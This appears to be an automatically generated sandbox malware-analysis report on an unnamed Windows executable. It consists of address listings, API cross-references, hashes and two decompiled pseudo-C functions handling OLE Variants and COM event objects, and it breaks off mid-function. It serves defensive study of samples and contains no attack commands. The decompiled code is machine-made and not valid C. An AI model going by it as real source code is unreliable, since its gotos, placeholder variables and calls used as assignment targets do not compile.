                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045eb3c
                                                                                                                                                                            0x0045eb3f
                                                                                                                                                                            0x0045eb42
                                                                                                                                                                            0x0045eb44
                                                                                                                                                                            0x0045eb48
                                                                                                                                                                            0x0045eb4c
                                                                                                                                                                            0x0045eb50
                                                                                                                                                                            0x0045eb54
                                                                                                                                                                            0x0045eb57
                                                                                                                                                                            0x0045eb58
                                                                                                                                                                            0x0045eb5c
                                                                                                                                                                            0x0045eb5d
                                                                                                                                                                            0x0045eb61
                                                                                                                                                                            0x0045eb67
                                                                                                                                                                            0x0045eb6b
                                                                                                                                                                            0x0045eb6d
                                                                                                                                                                            0x0045eb71
                                                                                                                                                                            0x0045eb76
                                                                                                                                                                            0x0045eb7a
                                                                                                                                                                            0x0045eb7c
                                                                                                                                                                            0x0045eb83
                                                                                                                                                                            0x0045eb8c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045e993
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045e9b3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045e9bf
                                                                                                                                                                            0x0045e997
                                                                                                                                                                            0x0045e999
                                                                                                                                                                            0x0045e99e
                                                                                                                                                                            0x0045e9a5
                                                                                                                                                                            0x0045e9a7
                                                                                                                                                                            0x0045e9b0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045e9ca
                                                                                                                                                                            0x0045e9cd
                                                                                                                                                                            0x0045e9d0
                                                                                                                                                                            0x0045e9d0
                                                                                                                                                                            0x0045e9d2
                                                                                                                                                                            0x0045e9d7
                                                                                                                                                                            0x0045e9de
                                                                                                                                                                            0x0045e9e0
                                                                                                                                                                            0x0045e9e3
                                                                                                                                                                            0x0045e9ec
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045e93e
                                                                                                                                                                            0x0045e938
                                                                                                                                                                            0x0045e92f
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • VariantInit.OLEAUT32(00000000), ref: 0045E959
                                                                                                                                                                            • VariantCopy.OLEAUT32(00000000), ref: 0045E963
                                                                                                                                                                            • VariantClear.OLEAUT32 ref: 0045E970
                                                                                                                                                                            • VariantTimeToSystemTime.OLEAUT32 ref: 0045EAEB
                                                                                                                                                                            • __swprintf.LIBCMT ref: 0045EB1F
                                                                                                                                                                            • VarR8FromDec.OLEAUT32(?,?), ref: 0045EB61
                                                                                                                                                                            • VariantInit.OLEAUT32(00000000), ref: 0045EBE7
                                                                                                                                                                            Strings
                                                                                                                                                                            • %4d%02d%02d%02d%02d%02d, xrefs: 0045EB19
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Variant$InitTime$ClearCopyFromSystem__swprintf
                                                                                                                                                                            • String ID: %4d%02d%02d%02d%02d%02d
                                                                                                                                                                            • API String ID: 43541914-1568723262
                                                                                                                                                                            • Opcode ID: 2b181d023f60b169241c354d03840e39e33ae0ff46f8fbc343027bc89ebf8665
                                                                                                                                                                            • Instruction ID: db8708ae94f177a13b26e6bf0e0b18ed2eb17208bc27bd00c320e315e6f9d40a
                                                                                                                                                                            • Opcode Fuzzy Hash: 2b181d023f60b169241c354d03840e39e33ae0ff46f8fbc343027bc89ebf8665
                                                                                                                                                                            • Instruction Fuzzy Hash: ABC1F4BB1006019BC704AF06D480666F7A1FFD4322F14896FED984B341DB3AE95ED7A6
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00474335 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 308COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 48%
                                                                                                                                                                            			E00474335(char __ecx, void* __eflags, signed int* _a4, signed int* _a8) {
				intOrPtr _v264;
				signed int _v268;
				char _v288;
				void* _v292;
				intOrPtr _v296;
				short _v314;
				short _v318;
				short _v322;
				char _v324;
				short _v326;
				short _v328;
				char _v336;
				intOrPtr _v340;
				char _v344;
				void* _v348;
				char _v356;
				signed int _v364;
				void* _v368;
				signed int _v372;
				char _v376;
				signed int _v384;
				signed int _v388;
				intOrPtr _v392;
				signed int* _v396;
				signed short _v398;
				signed int _v400;
				signed int* _v404;
				signed int _v412;
				intOrPtr _v416;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t79;
				void* _t82;
				void* _t83;
				intOrPtr _t85;
				signed int _t88;
				signed int _t92;
				void* _t93;
				signed int _t108;
				signed int _t111;
				void* _t115;
				signed short _t122;
				intOrPtr _t124;
				signed int* _t150;
				intOrPtr _t190;
				signed int _t192;
				signed int _t195;
				signed int* _t207;
				void* _t213;
				signed int _t214;
				void* _t217;
				void* _t218;
				void* _t219;
				void* _t224;

				_t224 = __eflags;
				_t202 = _a4;
				_v348 = __ecx;
				_t79 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t202 + 4)) + 4)));
				_t150 = _a8;
				_v336 = _t79;
				E0040E6D0(_t150, _t224);
				_push(0);
				_push(1);
				_push(1);
				_push( *((intOrPtr*)( *((intOrPtr*)(_t202 + 4)))));
				_t82 = E0040D030();
				_t217 = (_t214 & 0xfffffff8) - 0x15c + 0x10;
				if(_t82 != 0) {
					_t83 = E0040C760(_t82);
					__eflags = _t83 - 0x2b594d1;
					if(_t83 == 0x2b594d1) {
						_push(1);
						_push(1);
						_push(1);
						_push( *((intOrPtr*)( *((intOrPtr*)(_t202 + 4)))));
						_t85 = E0040D030();
						_t218 = _t217 + 0x10;
						_v340 = _t85;
						_t190 = E0040C760(_t85);
						_v328 = 0;
						_v326 = 0;
						_v322 = 0;
						_v318 = 0;
						_v314 = 0;
						_v296 = 0x10;
						__eflags = _t190 - 0xffffffff;
						if(_t190 != 0xffffffff) {
							_push( &_v292);
							_push(0);
							_push(0);
							_push( &_v268);
							_push(0);
							_v292 = 0;
							_v288 = 0x186a0;
							_v264 = _t190;
							_v268 = 1;
							L00410EB0();
							__eflags = 0 - 0xffffffff;
							if(0 != 0xffffffff) {
								_push(_v356 + 1);
								_t88 = E0041171A(_t150, _t190, 0 - 0xffffffff);
								_t219 = _t218 + 4;
								_push( &_v288);
								_push(_t190);
								_v364 = _t88;
								L00410EB6();
								__eflags = _t88;
								if(__eflags == 0) {
									E004112EF(_t150, _v372, _t190, _t202, __eflags, _v372);
									__eflags = 0;
									return 0;
								} else {
									_t184 = _v364;
									_push( &_v324);
									_t92 = _v372;
									_t167 =  &_v356;
									_push( &_v356);
									_push(0);
									_push(_v364);
									_push(_t92);
									_push(_t190);
									L00410EF8();
									_t192 = _t92;
									_v388 = _t192;
									__eflags = _t192 - 0xffffffff;
									if(_t192 != 0xffffffff) {
										__eflags =  *((intOrPtr*)(_t202 + 8)) - 3;
										_v400 = 0;
										if( *((intOrPtr*)(_t202 + 8)) < 3) {
											L21:
											_t202 = _v396;
											 *((char*)(_t202 + _t192)) = 0;
											_t93 = E004137E0(_t202);
											_t219 = _t219 + 4;
											__eflags = _t93 - _t192;
											if(__eflags != 0) {
												__eflags = _v400;
												_push(_t192);
												_push(_t202);
												if(__eflags == 0) {
													goto L18;
												} else {
													_push(_t192);
													_push(_v392);
													goto L19;
												}
												goto L28;
											} else {
												E00401400(_t192, _t150,  &_v364, _t192, __eflags);
												_t170 =  &_v336;
												E004453C4(_t150,  &_v336, __eflags,  &_v336, _t202);
												_t184 =  &_v372;
												E00403F40( &_v344, _t150, _t213,  &_v372);
												E00401330( &_v372,  &_v348);
												__eflags = _v412;
												_t202 = _v404;
												_t192 =  &_v376;
												if(__eflags == 0) {
													_t202 = _t150;
												}
												E0040E640(_t150, _t170, _t192, _t202, __eflags);
												E00402620( &_v364);
											}
										} else {
											_t108 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t202 + 4)) + 8)));
											_t167 =  *((intOrPtr*)( *((intOrPtr*)(_t202 + 4)) + 8));
											_v384 = _t108 & 0x00000001;
											_t111 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t202 + 4)) + 8))) & 0x00000002;
											__eflags = _t111;
											_v400 = _t111;
											if(_t111 != 0) {
												_push(3);
												_push(1);
												E0040E7E0(_t150, _t167);
												_push(1);
												_push(1);
												_push(0);
												_push(_t150);
												_t115 = E0040D030();
												_push(_v376);
												L00410E98();
												E004453C4(_t150, _t167, __eflags,  &_v368, _t115);
												_t184 =  &_v376;
												E0040E640(_t150,  &_v348, E00465D24( &_v376,  &_v348), _t115, __eflags);
												_t167 =  &_v356;
												E00402620( &_v356);
												_push(2);
												_push(1);
												_push(0);
												_push(_t150);
												_t207 = E0040D030();
												_t122 = _v398;
												_push(_t122);
												L00410EFE();
												_t195 = _t122 & 0x0000ffff;
												E004092C0(_t195, _t207);
												_push(0);
												_push(1);
												_push(0);
												_push(_t150);
												_t207[2] = 1;
												 *_t207 = _t195;
												_t124 = E0040D030();
												_t219 = _t219 + 0x38;
												_t202 =  &_v388;
												_v416 = _t124;
												E00401330( &_v376,  &_v388);
												_t192 = _v412;
											}
											__eflags = _v384;
											if(_v384 == 0) {
												goto L21;
											} else {
												__eflags = _v400;
												_push(_t192);
												if(__eflags == 0) {
													_push(_v396);
													L18:
													_push(_t192);
													_push(_t150);
												} else {
													_t167 = _v396;
													_t184 = _v392;
													_push(_v396);
													_push(_t192);
													_push(_v392);
												}
												L19:
												_push(E00452DAE(_t150, _t167, __eflags));
												E00410F70(_t150, _t192, _t202);
												_t219 = _t219 + 0xc;
											}
										}
										E004112EF(_t150, _t184, _t192, _t202, __eflags, _v396);
										__eflags = 0;
										return 0;
									} else {
										L00410EAA();
										E004040E0( *((intOrPtr*)( *_v400 + 4)) + _v400, _t92, 0);
										__eflags = 0;
										return 0;
									}
								}
							} else {
								L00410EAA();
								E004040E0( *((intOrPtr*)( *_v368 + 4)) + _v368, 0, 0);
								__eflags = 0;
								return 0;
							}
						} else {
							E004040E0( *((intOrPtr*)( *_v348 + 4)) + _v348, _t190, 0);
							__eflags = 0;
							return 0;
						}
					} else {
						E004040E0( *((intOrPtr*)( *_v348 + 4)) + _v348, 0xfffffffe, 0);
						__eflags = 0;
						return 0;
					}
				} else {
					E004040E0( *((intOrPtr*)( *_v348 + 4)) + _v348, 0xffffffff, _t82);
					return 0;
				}
				L28:
			}



























































                                                                                                                                                                            0x00474335
                                                                                                                                                                            0x00474343
                                                                                                                                                                            0x00474349
                                                                                                                                                                            0x00474351
                                                                                                                                                                            0x00474356
                                                                                                                                                                            0x0047435e
                                                                                                                                                                            0x00474362
                                                                                                                                                                            0x0047436c
                                                                                                                                                                            0x0047436e
                                                                                                                                                                            0x00474370
                                                                                                                                                                            0x00474372
                                                                                                                                                                            0x00474373
                                                                                                                                                                            0x00474378
                                                                                                                                                                            0x0047437d
                                                                                                                                                                            0x0047439f
                                                                                                                                                                            0x004743a4
                                                                                                                                                                            0x004743a9
                                                                                                                                                                            0x004743cf
                                                                                                                                                                            0x004743d1
                                                                                                                                                                            0x004743d3
                                                                                                                                                                            0x004743d5
                                                                                                                                                                            0x004743d6
                                                                                                                                                                            0x004743db
                                                                                                                                                                            0x004743e0
                                                                                                                                                                            0x004743e9
                                                                                                                                                                            0x004743ef
                                                                                                                                                                            0x004743f4
                                                                                                                                                                            0x004743f8
                                                                                                                                                                            0x004743fc
                                                                                                                                                                            0x00474400
                                                                                                                                                                            0x00474405
                                                                                                                                                                            0x0047440d
                                                                                                                                                                            0x00474410
                                                                                                                                                                            0x00474433
                                                                                                                                                                            0x00474434
                                                                                                                                                                            0x00474435
                                                                                                                                                                            0x0047443a
                                                                                                                                                                            0x0047443b
                                                                                                                                                                            0x0047443c
                                                                                                                                                                            0x00474440
                                                                                                                                                                            0x00474448
                                                                                                                                                                            0x0047444c
                                                                                                                                                                            0x00474454
                                                                                                                                                                            0x00474459
                                                                                                                                                                            0x0047445c
                                                                                                                                                                            0x00474486
                                                                                                                                                                            0x00474487
                                                                                                                                                                            0x0047448c
                                                                                                                                                                            0x00474493
                                                                                                                                                                            0x00474494
                                                                                                                                                                            0x00474495
                                                                                                                                                                            0x00474499
                                                                                                                                                                            0x0047449e
                                                                                                                                                                            0x004744a0
                                                                                                                                                                            0x00474691
                                                                                                                                                                            0x0047469b
                                                                                                                                                                            0x004746a1
                                                                                                                                                                            0x004744a6
                                                                                                                                                                            0x004744a6
                                                                                                                                                                            0x004744ae
                                                                                                                                                                            0x004744af
                                                                                                                                                                            0x004744b3
                                                                                                                                                                            0x004744b7
                                                                                                                                                                            0x004744b8
                                                                                                                                                                            0x004744ba
                                                                                                                                                                            0x004744bb
                                                                                                                                                                            0x004744bc
                                                                                                                                                                            0x004744bd
                                                                                                                                                                            0x004744c2
                                                                                                                                                                            0x004744c4
                                                                                                                                                                            0x004744c8
                                                                                                                                                                            0x004744cb
                                                                                                                                                                            0x004744f0
                                                                                                                                                                            0x004744f4
                                                                                                                                                                            0x004744fc
                                                                                                                                                                            0x00474611
                                                                                                                                                                            0x00474611
                                                                                                                                                                            0x00474616
                                                                                                                                                                            0x0047461a
                                                                                                                                                                            0x0047461f
                                                                                                                                                                            0x00474622
                                                                                                                                                                            0x00474624
                                                                                                                                                                            0x00474674
                                                                                                                                                                            0x00474679
                                                                                                                                                                            0x0047467a
                                                                                                                                                                            0x0047467b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00474681
                                                                                                                                                                            0x00474685
                                                                                                                                                                            0x00474686
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00474686
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00474626
                                                                                                                                                                            0x0047462c
                                                                                                                                                                            0x00474632
                                                                                                                                                                            0x00474637
                                                                                                                                                                            0x0047463c
                                                                                                                                                                            0x00474645
                                                                                                                                                                            0x0047464e
                                                                                                                                                                            0x00474653
                                                                                                                                                                            0x00474658
                                                                                                                                                                            0x0047465c
                                                                                                                                                                            0x00474660
                                                                                                                                                                            0x00474662
                                                                                                                                                                            0x00474662
                                                                                                                                                                            0x00474664
                                                                                                                                                                            0x0047466d
                                                                                                                                                                            0x0047466d
                                                                                                                                                                            0x00474502
                                                                                                                                                                            0x00474508
                                                                                                                                                                            0x00474510
                                                                                                                                                                            0x00474516
                                                                                                                                                                            0x0047451f
                                                                                                                                                                            0x0047451f
                                                                                                                                                                            0x00474522
                                                                                                                                                                            0x00474526
                                                                                                                                                                            0x0047452c
                                                                                                                                                                            0x0047452e
                                                                                                                                                                            0x00474532
                                                                                                                                                                            0x00474537
                                                                                                                                                                            0x00474539
                                                                                                                                                                            0x0047453b
                                                                                                                                                                            0x0047453d
                                                                                                                                                                            0x0047453e
                                                                                                                                                                            0x0047454a
                                                                                                                                                                            0x0047454d
                                                                                                                                                                            0x00474558
                                                                                                                                                                            0x00474562
                                                                                                                                                                            0x0047456e
                                                                                                                                                                            0x00474573
                                                                                                                                                                            0x00474577
                                                                                                                                                                            0x0047457c
                                                                                                                                                                            0x0047457e
                                                                                                                                                                            0x00474580
                                                                                                                                                                            0x00474582
                                                                                                                                                                            0x00474588
                                                                                                                                                                            0x0047458a
                                                                                                                                                                            0x00474591
                                                                                                                                                                            0x00474592
                                                                                                                                                                            0x00474597
                                                                                                                                                                            0x0047459a
                                                                                                                                                                            0x0047459f
                                                                                                                                                                            0x004745a1
                                                                                                                                                                            0x004745a3
                                                                                                                                                                            0x004745a5
                                                                                                                                                                            0x004745a6
                                                                                                                                                                            0x004745ad
                                                                                                                                                                            0x004745af
                                                                                                                                                                            0x004745b4
                                                                                                                                                                            0x004745b7
                                                                                                                                                                            0x004745bb
                                                                                                                                                                            0x004745bf
                                                                                                                                                                            0x004745c4
                                                                                                                                                                            0x004745c4
                                                                                                                                                                            0x004745c8
                                                                                                                                                                            0x004745cd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004745cf
                                                                                                                                                                            0x004745cf
                                                                                                                                                                            0x004745d4
                                                                                                                                                                            0x004745d5
                                                                                                                                                                            0x004745e8
                                                                                                                                                                            0x004745e9
                                                                                                                                                                            0x004745e9
                                                                                                                                                                            0x004745ea
                                                                                                                                                                            0x004745d7
                                                                                                                                                                            0x004745d7
                                                                                                                                                                            0x004745db
                                                                                                                                                                            0x004745df
                                                                                                                                                                            0x004745e0
                                                                                                                                                                            0x004745e1
                                                                                                                                                                            0x004745e1
                                                                                                                                                                            0x004745eb
                                                                                                                                                                            0x004745f0
                                                                                                                                                                            0x004745f1
                                                                                                                                                                            0x004745f6
                                                                                                                                                                            0x004745f6
                                                                                                                                                                            0x004745cd
                                                                                                                                                                            0x004745fe
                                                                                                                                                                            0x00474606
                                                                                                                                                                            0x0047460e
                                                                                                                                                                            0x004744cd
                                                                                                                                                                            0x004744cf
                                                                                                                                                                            0x004744e0
                                                                                                                                                                            0x004744e5
                                                                                                                                                                            0x004744ed
                                                                                                                                                                            0x004744ed
                                                                                                                                                                            0x004744cb
                                                                                                                                                                            0x0047445e
                                                                                                                                                                            0x00474460
                                                                                                                                                                            0x00474471
                                                                                                                                                                            0x00474476
                                                                                                                                                                            0x0047447e
                                                                                                                                                                            0x0047447e
                                                                                                                                                                            0x00474412
                                                                                                                                                                            0x0047441f
                                                                                                                                                                            0x00474424
                                                                                                                                                                            0x0047442c
                                                                                                                                                                            0x0047442c
                                                                                                                                                                            0x004743ab
                                                                                                                                                                            0x004743ba
                                                                                                                                                                            0x004743bf
                                                                                                                                                                            0x004743c7
                                                                                                                                                                            0x004743c7
                                                                                                                                                                            0x0047437f
                                                                                                                                                                            0x0047438d
                                                                                                                                                                            0x0047439a
                                                                                                                                                                            0x0047439a
                                                                                                                                                                            0x00000000

                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: HH
                                                                                                                                                                            • API String ID: 0-2761332787
                                                                                                                                                                            • Opcode ID: 83897635622cb7a1475204dcb421ca43e89f4eed2481b1a3bff81af45705aa69
                                                                                                                                                                            • Instruction ID: 848a924b3cef8bd3153860a444c938f10782cf4bd198576b39dfa3900f93d9c5
                                                                                                                                                                            • Opcode Fuzzy Hash: 83897635622cb7a1475204dcb421ca43e89f4eed2481b1a3bff81af45705aa69
                                                                                                                                                                            • Instruction Fuzzy Hash: CDA1A2726043009BD310EF65DC82B6BB3E9ABD4718F008E2EF558E7281D779E9448B5A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0042FE54 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 298sleepCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 92%
                                                                                                                                                                            			E0042FE54(void* __ebx, void* __ecx, void* __fp0) {
				signed int __esi;

				while(1) {
					__eflags = __edi;
					if(__edi == 0) {
						break;
					}
					__eax = InterlockedDecrement(0x4a7cac);
					Sleep(0xa);
					__eax =  *__ebp(0x4a7cac);
					__eax =  *0x4a7cac; // 0x0
					__edi = __edi - __ebx;
					__eflags = __eax - __ebx;
					if(__eax != __ebx) {
						continue;
					}
					L5:
					__ebp =  *0x4a7cb4; // 0x0
					__eflags =  *0x4a7cb0 - __ebp; // 0x0
					if(__eflags == 0) {
						L10:
						__eax = InterlockedDecrement(0x4a7cac);
						__ecx = __esp + 0x68;
						__eax = E00402620(__esp + 0x68);
						__esi = __esp + 0x38;
						__eax = E004092C0(__edi, __esp + 0x38);
						_t23 = __esp + 0x48; // 0x487630
						__ecx = _t23;
						__eax = E00410AE0(_t23, __edx, __edi);
						L2:
						return 0;
					}
					__ebp = __ebp & 0x0000003f;
					_t1 = __ebp + 0x4a8ed0; // 0x487630
					__ebp = _t1;
					__eax = E00434F57(__ebp);
					__eflags = __al;
					if(__al != 0) {
						goto L10;
					}
					_t2 = __ebp + 4; // 0x443c48
					 *_t2 =  *((intOrPtr*)( *_t2));
					__ebx = __esp + 0x3c;
					__eax = E00409210(__ebx, __ecx, __ebp,  *((intOrPtr*)( *_t2)));
					_t4 = __ebp + 4; // 0x443c48
					_t5 =  *_t4 + 4; // 0x7c8b5756
					 *_t5 = E00453081( *_t5);
					__esp + 0x6c = E004021E0(__esp + 0x6c, __ebx, __edx, __esp + 0x6c);
					_t7 = __ebp + 4; // 0x443c48
					_t8 =  *_t7 + 8; // 0xdb323024
					__eax =  *_t8;
					__edi = E00453081( *_t8);
					__esp + 0x68 = E0040D330(__esp + 0x68, __ebx, __edi, __fp0);
					__eax = __esp + 0x24;
					_push(__esp + 0x24);
					__ecx = __esp + 0x18;
					_push(__esp + 0x18);
					__ecx =  *(__esp + 0x70);
					__edx = __esp + 0x20;
					_push(__edx);
					__eax = __esp + 0x28;
					_push(__esp + 0x28);
					__eax = E004646A2(__ebx, __edx, __eflags, __esi, __ecx);
					__eflags = __al;
					if(__eflags != 0) {
						__ebx = 3;
						L15:
						 *((char*)(__esi + 0x480)) = 1;
						__edi = L"@COM_EVENTOBJ";
						__esi = __esp + 0x58;
						__eax = E00401B70(__ebx, L"@COM_EVENTOBJ", __esi, __eflags);
						__ecx = __esp + 0x38;
						__edx = E004355FD(__esp + 0x38);
						__eax = 2;
						_t27 = __eax - 1; // 0x1
						__ecx = _t27;
						__eax = E004019E0(2, _t27, __edx, __esi);
						__ecx = __esi;
						__eax = E00402620(__ecx);
						__eax =  *(__esp + 0x1c);
						__eax = E0040F2A0( *(__esp + 0x1c));
						__eflags =  *(__esp + 0x18);
						__esi = __eax;
						 *(__esp + 0x14) = __esi;
						if( *(__esp + 0x18) <= 0) {
							L25:
							__edx =  *0x4a7cb4; // 0x0
							__edx = __edx & 0x0000003f;
							__eax = E0046E6B0(__edx);
							__edi = 1;
							 *0x4a7cb4 =  *0x4a7cb4 + 1;
							InterlockedDecrement(0x4a7cac) =  *(__esp + 0x1c);
							__eax = E0046E779(__ebx, __ebp,  *(__esp + 0x1c));
							__eflags =  *(__esp + 0x18) - 1;
							if( *(__esp + 0x18) < 1) {
								L50:
								__eax =  *(__esp + 0x1c);
								__ebx =  *(__esp + 0x7c);
								 *(__esp + 0x1c) + 1 = E0047CB23(__edx, __fp0, __ebx,  *(__esp + 0x1c) + 1, 0, 0);
								__eax = E0046E727(0x4a7cdc);
								__edi = L"@COM_EVENTOBJ";
								_t117 = __esp + 0x58; // 0x485234
								__esi = _t117;
								__eax = E00401B70(__ebx, __edi, __esi, __eflags);
								__ecx = __esp + 0x20;
								__edx = __esp + 0x80;
								__ecx = 2;
								__eax = E0040C3E0(2, __esi, __esp + 0x80, __esp + 0x20);
								__ecx = __esi;
								__eax = E00402620(__esi);
								__eflags =  *0x4a7cc0;
								if( *0x4a7cc0 == 0) {
									L30:
									 *((char*)(__ebx + 0x480)) = 0;
									L31:
									__ecx = __esp + 0x68;
									__eax = E00402620(__esp + 0x68);
									__esi = __esp + 0x38;
									__eax = E004092C0(__edi, __esp + 0x38);
									_t63 = __esp + 0x48; // 0x487630
									__ecx = _t63;
									__eax = E00410AE0(_t63, __edx, __edi);
									__al = 1;
									goto L2;
								}
								 *(__esp + 0x7c) = E0043550E( *(__esp + 0x7c));
								__eflags = __al;
								if(__al != 0) {
									goto L30;
								}
								__eax =  *0x4a7cc4; // 0x0
								__eflags = __eax;
								if(__eax == 0) {
									goto L30;
								}
								 *((char*)(__eax + 0x2d)) = 0;
								__eax = __eax + 1;
								__eflags = __eax;
								goto L30;
							}
							__ecx =  *(__esp + 0x4c);
							__ebx = 1;
							_t55 = __edi + 0xb; // 0xc
							__ebp = _t55;
							 *(__esp + 0x10) = 0x18;
							 *(__esp + 0x24) =  *(__esp + 0x4c);
							while(1) {
								__eflags = __ebx -  *(__esp + 0x20);
								if(__ebx <=  *(__esp + 0x20)) {
									goto L42;
								}
								__eax = 0;
								 *(__esp + 0x28) = 0;
								 *((short*)(__esp + 0x36)) = __ax;
								__eax =  *(__esi + 4);
								 *(__esp + 0x58) = 0x485234;
								 *(__esp + 0x5c) = 0;
								 *((intOrPtr*)(__esp + 0x60)) = 0;
								 *((intOrPtr*)(__esp + 0x64)) = 0;
								__ecx =  *(__eax + __ebp + 4);
								__edx = __edx | 0xffffffff;
								__eflags =  *((short*)(__ecx + 8)) - 0x41;
								 *((short*)(__esp + 0x34)) = __dx;
								if( *((short*)(__ecx + 8)) != 0x41) {
									__esi = __esp + 0x38;
									__eax = E004092C0(__edi, __esp + 0x38);
									 *(__esp + 0x40) = __edi;
									 *(__esp + 0x38) = 0;
									L41:
									__eax =  *(__esp + 0x14);
									__ecx =  *( *(__esp + 0x14) + 4);
									__esi =  *(__ecx + __ebp);
									__esi =  *( *(__ecx + __ebp));
									__eax = __edi;
									__ecx = 0;
									__edx = __esp + 0x38;
									__eax = E004019E0(__edi, 0, __esp + 0x38, __esi);
									__edx = __esp + 0x2c;
									__eax = E0044B453(__ebx, __edx, __edi, __esi, __ebp, __edx);
									_t100 = __esp + 0x58; // 0x485234
									__ecx = _t100;
									__eax = E0040ED60(_t100, __edx);
									L43:
									__eax =  *(__esp + 0x14);
									__eax =  *( *(__esp + 0x14) + 4);
									__ecx =  *(__eax + __ebp + 4);
									__eflags =  *((short*)(__ecx + 8)) - 0x41;
									if( *((short*)(__ecx + 8)) != 0x41) {
										__eax = 8;
										L49:
										 *(__esp + 0x10) =  *(__esp + 0x10) + __eax;
										__ebx = __ebx + __edi;
										__ebp = __ebp + __eax;
										__eflags = __ebx -  *(__esp + 0x18);
										if(__ebx <=  *(__esp + 0x18)) {
											_t64 = __esp + 0x24;
											 *_t64 =  *(__esp + 0x24) + 4;
											__eflags =  *_t64;
											__esi =  *(__esp + 0x14);
											continue;
										}
										goto L50;
									}
									__edx =  *(__eax + __ebp + 8);
									__eax =  *(__edx + 8) & 0x0000ffff;
									__eflags = __ax - 0x4a;
									if(__ax == 0x4a) {
										L47:
										__eax = 0x14;
										goto L49;
									}
									__eflags = __ax - 0x49;
									if(__ax == 0x49) {
										goto L47;
									}
									__eax = 0x10;
									goto L49;
								}
								__eax =  *(__eax + __ebp + 8);
								__ecx =  *(__eax + 8) & 0x0000ffff;
								__eflags = __cx - 0x4a;
								if(__cx == 0x4a) {
									L38:
									_push(__eax);
									__edi = __esp + 0x5c;
									__eax = E00402CC0(__ecx, __esp + 0x5c);
									__edx =  *(__esi + 4);
									__eax =  *(__esp + 0x10);
									__ecx =  *( *(__esp + 0x10) +  *(__esi + 4));
									_push(__ecx);
									L39:
									__edi = __esp + 0x5c;
									__eax = E00402CC0(__ecx, __esp + 0x5c);
									__edi = 0x7f;
									__esi = __esp + 0x2c;
									__eax = E00402B00(__edx, 0x7f, __esi, __fp0);
									_push(__esi);
									__edi = __esp + 0x5c;
									E00402CC0(__ecx, __esp + 0x5c) = __esp + 0x3c;
									__ecx = __esp + 0x30;
									__ecx =  *(__esp + 0x88);
									__eax = L0040AB50( *(__esp + 0x88), __fp0, __edi, __esp + 0x30, __esp + 0x3c, 0xffffffff);
									__edi = 1;
									goto L41;
								}
								__eflags = __cx - 0x49;
								if(__cx == 0x49) {
									goto L38;
								}
								_push(__eax);
								goto L39;
								L42:
								__eax =  *(__esi + 4);
								__esi =  *(__eax + __ebp);
								__edx =  *(__esp + 0x24);
								__edx =  *( *(__esp + 0x24));
